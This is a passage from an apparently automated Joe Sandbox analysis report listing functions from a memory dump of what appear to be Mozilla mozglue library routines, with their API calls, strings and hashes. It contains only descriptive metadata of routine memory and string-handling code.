malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C946180
free.MOZGLUE(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C946211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C946229
free.MOZGLUE(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C94625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C945FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C946271

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b15d80983e813fca68f97fbbaf1a88fae2c373c6bebbf13d622f203b753df076
Instruction ID: 182eeb75806d51ae23da3b0385b911bbe57fcb22830941068ed02e0e1d21f7de
Opcode Fuzzy Hash: b15d80983e813fca68f97fbbaf1a88fae2c373c6bebbf13d622f203b753df076
Instruction Fuzzy Hash: 6E5178F1A0420A9FEB14CFA8D8807AEB7B5EF49308F248539D616D7711E731EA58CB51

Function 6C9827E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98289A
free.MOZGLUE(?,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C9828F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C982910
free.MOZGLUE(00000001,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C982620,?,?,?,6C9760AA,6C975FCB,6C9779A3), ref: 6C98294E

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7d563f7ebe866d3bda708417618ce344cf921dbe26579f8379f8de6e74581c26
Instruction ID: 5ae906131a3fb49b09dddeee20c0aa9defe660e430475b44e1115cb2d06f100b
Opcode Fuzzy Hash: 7d563f7ebe866d3bda708417618ce344cf921dbe26579f8379f8de6e74581c26
Instruction Fuzzy Hash: 6541C2B1B056068FEB14CF68D98876A73FAEF45308F250939D956EB740E732E904CB61

Function 6C93CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C93D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C93D139

Strings

MOZ_CRASH(), xrefs: 6C93D187

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 6426eff958d541e860be94203ff40b2dbd091c45634ff20a981ac0eee11f35da
Instruction ID: 8657fab9d0cbf658bcca8914360e90144270d883fda21fb1feb7fdba60b24d69
Opcode Fuzzy Hash: 6426eff958d541e860be94203ff40b2dbd091c45634ff20a981ac0eee11f35da
Instruction Fuzzy Hash: 9541B472B15326AFDB048E7C8DE436B76B9EB49B14F240139E918E7784D7B59D0087C8

Function 6C934DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C934EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C934F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C934F1E

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 4731db0923093830179fcc77465ad8a964737c5892d33e214adec751653a1baa
Instruction ID: 5d5f82f6f7f2191a8e199f8dc861226de146343c49a14c496c39bf324710bf63
Opcode Fuzzy Hash: 4731db0923093830179fcc77465ad8a964737c5892d33e214adec751653a1baa
Instruction Fuzzy Hash: B941FF716087119FC711CF29C88095BBBE8BF99344F159A2DF46987B81DB32E958CF82

Function 6C941530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C94159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C9415BC
moz_xmalloc.MOZGLUE(-00000001,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C9415E7
free.MOZGLUE(?,?,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C941606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C94152B,?,?,?,?,6C941248,?), ref: 6C941637

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: bf6ce50d7a1c4815cb0cdf1466a8ea9c698414b9e44f87fbaad4e2e1b4e14815
Instruction ID: 0365119587c7b6c7e95256d5ce91fef9dc9346e6e6740217ea7bf917b34f6cbf
Opcode Fuzzy Hash: bf6ce50d7a1c4815cb0cdf1466a8ea9c698414b9e44f87fbaad4e2e1b4e14815
Instruction Fuzzy Hash: ED31E872A001159FCB189E78D8504BE77A9BB923647244B2DE423DBBD4EB30D9258791

Function 6C99AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AD9D

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE01
GetLastError.KERNEL32(?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9AE330,?,6C95C059), ref: 6C99AE3D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 90f3c059bb337463f6267903d3fff06c0ccc2e2f7bb40a8fe858a37eb1aea45c
Instruction ID: b597479c570f1ed6e9cef42561b371cc81e9674b4db4fce2faa17dda8e27b9a1
Opcode Fuzzy Hash: 90f3c059bb337463f6267903d3fff06c0ccc2e2f7bb40a8fe858a37eb1aea45c
Instruction Fuzzy Hash: A63141B1E042159FDB10DFB98C44AABB7F8EF59614F15882DE84AD7740EB34E805CBA4

Function 6C995EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9ADCA0,?,?,?,6C96E8B5,00000000), ref: 6C995F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C96E8B5,00000000), ref: 6C995F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C96E8B5,00000000), ref: 6C995F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C96E8B5,00000000), ref: 6C995F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C96E8B5,00000000), ref: 6C995FD6

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 6b052a90ff7ac27ae7a5a756a34e647243ff91c15a037041498565c941881e6c
Instruction ID: f18e239c381add5e0b263512a43ab366c4a39f7624366e9075ed0ab6274c31f1
Opcode Fuzzy Hash: 6b052a90ff7ac27ae7a5a756a34e647243ff91c15a037041498565c941881e6c
Instruction Fuzzy Hash: 56310B353046009FD710CF29C898B2BB7F9FF8932ABA88658E55687B95C735EC51CB80

Function 6C93B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C93B532
moz_xmalloc.MOZGLUE(?), ref: 6C93B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C93B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C93B57E
free.MOZGLUE(00000000), ref: 6C93B58F

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec947826d989d5f604ca291c55dca2fedf6226e14b73fcbba95995f68a75e55a
Instruction ID: 0521385bd8c7ea6e43ac81d2fb2d5063f435becff39df1a8d1820f12b5f8d9bd
Opcode Fuzzy Hash: ec947826d989d5f604ca291c55dca2fedf6226e14b73fcbba95995f68a75e55a
Instruction Fuzzy Hash: 6A21F371A04615ABDB00CF69CC40BABBBB9FF92308F284029E818DB341E776D915C7A1

Function 6C93B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C93B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C93B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C93B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C93B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C93B849

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 68eab9b600c180a05db1b0374b737d72ed246553ff545066ce4a15b29570ee88
Instruction ID: 5537d8d399b74fa97b6481c133032d92c6331eb26de23c9e8219d4c33bca2e7a
Opcode Fuzzy Hash: 68eab9b600c180a05db1b0374b737d72ed246553ff545066ce4a15b29570ee88
Instruction Fuzzy Hash: 71215EB0E042199FDF04DFA9C8855BFBBB4EF49314F148169ED09A7741E731A944CBA0

Function 6C996E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C996E78

Part of subcall function 6C996A10: InitializeCriticalSection.KERNEL32(6C9BF618), ref: 6C996A68
Part of subcall function 6C996A10: GetCurrentProcess.KERNEL32 ref: 6C996A7D
Part of subcall function 6C996A10: GetCurrentProcess.KERNEL32 ref: 6C996AA1
Part of subcall function 6C996A10: EnterCriticalSection.KERNEL32(6C9BF618), ref: 6C996AAE
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C996AE1
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C996B15
Part of subcall function 6C996A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C996B65
Part of subcall function 6C996A10: LeaveCriticalSection.KERNEL32(6C9BF618,?,?), ref: 6C996B83

MozFormatCodeAddress.MOZGLUE ref: 6C996EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C996EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C996EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C996EFF

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 0b86cd6c5cddaafd80e5e474898ea0b380881abdb8ffdb48007e5708b46df687
Instruction ID: d1a331e53398c026d813ce98a213ee920f97014a81797a4e9ff836becd81115f
Opcode Fuzzy Hash: 0b86cd6c5cddaafd80e5e474898ea0b380881abdb8ffdb48007e5708b46df687
Instruction Fuzzy Hash: 3021A171A0821A9FDB00DF69D8C5A9F77F9EF88348F044039E80997241EB749A58CF96

Function 6C9976C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9976F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C997705

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C997717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C99778F,00000000,00000000,00000000,00000000), ref: 6C997731
free.MOZGLUE(00000000), ref: 6C997760

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 77555530f7a16e69e7e2120c8dc14e81be6d66ce43e33dc92b6819d2eafdbbf1
Instruction ID: 69a5114d327dee6793e41c21edd8345b07096d92543ce9dfcb0747af770b4f1f
Opcode Fuzzy Hash: 77555530f7a16e69e7e2120c8dc14e81be6d66ce43e33dc92b6819d2eafdbbf1
Instruction Fuzzy Hash: 8B11B2B1904215ABE710AFB68C44BAFBEF8EF59754F144429F848A7300E771985487E2

Function 6C970D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C933DEF), ref: 6C970D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C933DEF), ref: 6C970D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C933DEF), ref: 6C970DAF

Strings

<jemalloc>, xrefs: 6C970D92, 6C970DB9
: (malloc) Error in VirtualFree(), xrefs: 6C970D97, 6C970DBE

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: cc1e2f091bb532fea58041fadc97a8da2c9ea9affdbf76d948735fefa2617bfb
Instruction ID: 21091fc238dceb91e87bba81a506328cf09b7a9c1031a34f474b65ad3a2f2951
Opcode Fuzzy Hash: cc1e2f091bb532fea58041fadc97a8da2c9ea9affdbf76d948735fefa2617bfb
Instruction Fuzzy Hash: 76F0897139639433E73021665D0AB5B266DB7C6B65F345035F204EE9C0DAA5E8104AB9

Function 6C987620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9875C4,?), ref: 6C98762B

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987644
GetCurrentThreadId.KERNEL32 ref: 6C98765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987677

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 6602721274212a0ce1e8892293bd3600d5d58fc060517f35ffc92c35d6bd597d
Instruction ID: 94f4b069cc32141e7f95fd3415cd06e4f4d5e3644e610fe8e3e34971cbe87060
Opcode Fuzzy Hash: 6602721274212a0ce1e8892293bd3600d5d58fc060517f35ffc92c35d6bd597d
Instruction Fuzzy Hash: 89F0C271E14745AFD7008F21C888676B778FFEA259F21431AF90543651E7B0B5D08BD0

Function 6C991700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C991800

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

Strings

Details, xrefs: 6C991925
name, xrefs: 6C991939
{marker.name} - {marker.data.name}, xrefs: 6C9918C7

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 8669900055caacd4eaeb12abc0718d24918cb395ccc93c2c951d4d878b8135cc
Instruction ID: b0cde56b54c111f17daeb0521cda1f38a0e0123c470b6779913150e1543e0204
Opcode Fuzzy Hash: 8669900055caacd4eaeb12abc0718d24918cb395ccc93c2c951d4d878b8135cc
Instruction Fuzzy Hash: CB713570A00306AFDB04CF28D0507AABBB5FF96304F144669D8195BB41D770F6A8CBE1

Function 6C99B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010,00000000,?,?,6C99AB1F), ref: 6C99B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010,00000000,?), ref: 6C99B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C99B0A6,6C99B0A6,?,6C99AF67,?,00000010,?,6C99AF67,?,00000010), ref: 6C99B25F

Strings

map/set<T> too long, xrefs: 6C99B1FA

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 07d355ee0ea346ee174be3efb3b7496c8e05961ff1f9adb144fe78c086f07827
Instruction ID: 1abe48346a6e43d005afdb640d1e2cf33d03ae3cd50109d092fc2a692066fd8d
Opcode Fuzzy Hash: 07d355ee0ea346ee174be3efb3b7496c8e05961ff1f9adb144fe78c086f07827
Instruction Fuzzy Hash: 736198346042458FD721CF19C880A9ABBF5FF5A318F2CC599D8598BB52C339ED45CBA1

Function 6C95D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

EnterCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D4F2
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D50B

Part of subcall function 6C93CFE0: EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
